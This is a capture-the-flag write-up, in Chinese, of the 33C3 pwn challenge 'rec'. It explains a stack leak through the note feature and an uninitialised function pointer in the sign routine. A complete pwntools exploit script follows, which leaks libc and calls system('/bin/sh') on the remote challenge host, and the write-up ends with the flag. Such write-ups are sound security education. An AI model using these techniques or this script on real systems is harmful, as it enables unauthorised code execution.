Info

Category: pwn
Point: 200
Author: bruce30262 @ BambooFox

Analyzing

32 bit ELF, 保護全開

程式選單:

$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
>

整理一下幾個較為重要的 function:

首先會發現到 Read note 那邊怪怪的:

$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 0
Your note: 123
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 1
Your note:�VXV`�s��`XV     <-- WTF?

會印出亂碼是因為 take note 的時候,程式會將一個 stack address 當成 note 的 buffer。之後離開該 function 時,因為 function epilogue 的關係,程式會在該 stack address 上面塞入一些 (有用的) address。因此透過 read note,我們可以 leak 出 stack address 跟 text 段的 base address。

此外程式在 sign function 裡面有個邏輯漏洞:

  if ( num <= 0 )
  {
    if ( num < 0 )
      v1 = (void (*)(void))puts_negative;
  }
  else
  {
    v1 = (void (*)(void))puts_positive;
  }
  v1();

對於正數和負數 sign function 都有做好處理,但是如果我們輸入 0 的話呢?

$ ./rec 
Calculators are fun!
0 - Take note
1 - Read note
2 - Polish
3 - Infix
4 - Reverse Polish
5 - Sign
6 - Exit
> 5
0
[1]    40091 segmentation fault (core dumped)  ./rec

程式 crash 了。這是因為 sign 裡面沒有處理 0 的情形,導致程式沒有 assign function pointer 給 v1,進而讓程式執行到 v1() 時產生了 segmentation fault。

Exploit

首先觀察一下 sign function 裡面 assign function pointer 時的組語:

0x56555d3b:  mov    eax,DWORD PTR [ebp-0x20]   <-- &v1 = ebp-0x20
0x56555d3e:  call   eax

可以看到,如果我們有辦法控制到 [ebp-0x20] 的值的話,我們就有把辦法控制到 eax 的值,進而控制程式的 control flow。

透過 gdb 我們還發現到 sign 這個 function 的 stack frame 比起其他的 function 都還要來的”高”( ebp 的值較低 )。因此如果要有辦法控制到 v1,我們必須想辦法在其他 function 裡面盡量”拉高” stack frame,進而控制到 v1 的值。

經過一連串的 fuzzing,我發現如果使用 Polish 的 sum 功能,我們可以藉由不斷的輸入數字來”拉高”程式的 stack frame,原因是因為程式會不斷地將數字 push 到 stack 上。透過這樣的方式,我們不但可以控制到 v1 ( function pointer ),還可以控制到 function 的參數 !

因此總結一下思路:

  1. 利用 take note 和 read note 來 leak text 段的 base address
  2. 利用 Polish 的 sum 功能來控制 sign function 裡面的 function pointer 和 function 參數。
  3. 我們首先將 function pointer 設成 puts,參數設成 __libc_start_main@got ( 這題因為是 FULL RELRO 的關係沒有 .got.plt )
  4. 呼叫 sign function,數字輸入 0,讓程式執行 puts(__libc_start_main@got)
  5. 得到 libc 的 base address 之後重複 step 2~4,這次將目標改成執行 system("/bin/sh")

Final exploit : ( 這題 libc 的資訊可以透過 libc-database 來獲得 )

#!/usr/bin/env python

from pwn import *
import subprocess
import sys
import time
import numpy

HOST = "78.46.224.74"
PORT = 4127
ELF_PATH = "./rec"

# setting 
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'
context.word_size = 32
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'

elf = ELF(ELF_PATH)

def take_note(note):
    r.sendlineafter("> ", "0")
    r.sendlineafter("note: ", note)

def read_note():
    r.sendlineafter("> ", "1")

def polish_sum(nums):
    r.sendlineafter("> ", "2")
    r.sendlineafter("Operator:", "S")
    for num in nums:
        print "adding:", num
        r.sendlineafter("Operand:", str(num))

    r.sendlineafter("Operand:", ".")

def sign(num):
    r.sendlineafter("> ", "5")
    r.sendline(str(num))

if __name__ == "__main__":

    r = remote(HOST, PORT)
    #r = process(ELF_PATH)
    
    take_note("123")
    read_note()

    r.recvuntil("note: ")
    fptr_addr = u32(r.recv(4)) - 0x350 # where the function pointer be loaded
    text_base = u32(r.recv(4)) - 0x6fb
    puts = text_base + 0x520
    lsm_got = text_base + 0x2fe0
    puts_got = text_base + 0x2fd8
    
    log.success("fptr_addr: "+hex(fptr_addr))
    log.success("text_base: "+hex(text_base))

    nums = [i for i in xrange(0x63)] + [puts, lsm_got]
    polish_sum(nums)

    sign(0) # this will call puts(lsm_got)
    lsm_addr = u32(r.recv(4))
    #########################################
    #$ ./dump libc6-i386_2.24-3ubuntu2_amd64
    #offset___libc_start_main = 0x00018180
    #offset_system = 0x0003a8b0
    #offset_str_bin_sh = 0x15cbcf
    #########################################
    system_addr = lsm_addr + 0x22730 
    bin_sh = lsm_addr + 0x144a4f 
	
    log.success("lsm: "+hex(lsm_addr))
    log.success("system: "+hex(system_addr))
    log.success("bin_sh: "+hex(bin_sh))

    nums = [i for i in xrange(0x63)] + [numpy.int32(system_addr), numpy.int32(bin_sh)]
    polish_sum(nums)
    sign(0) # this time will call system("/bin/sh")
    
    r.interactive()

flag: 33C3_L0rd_Nikon_would_l3t_u_1n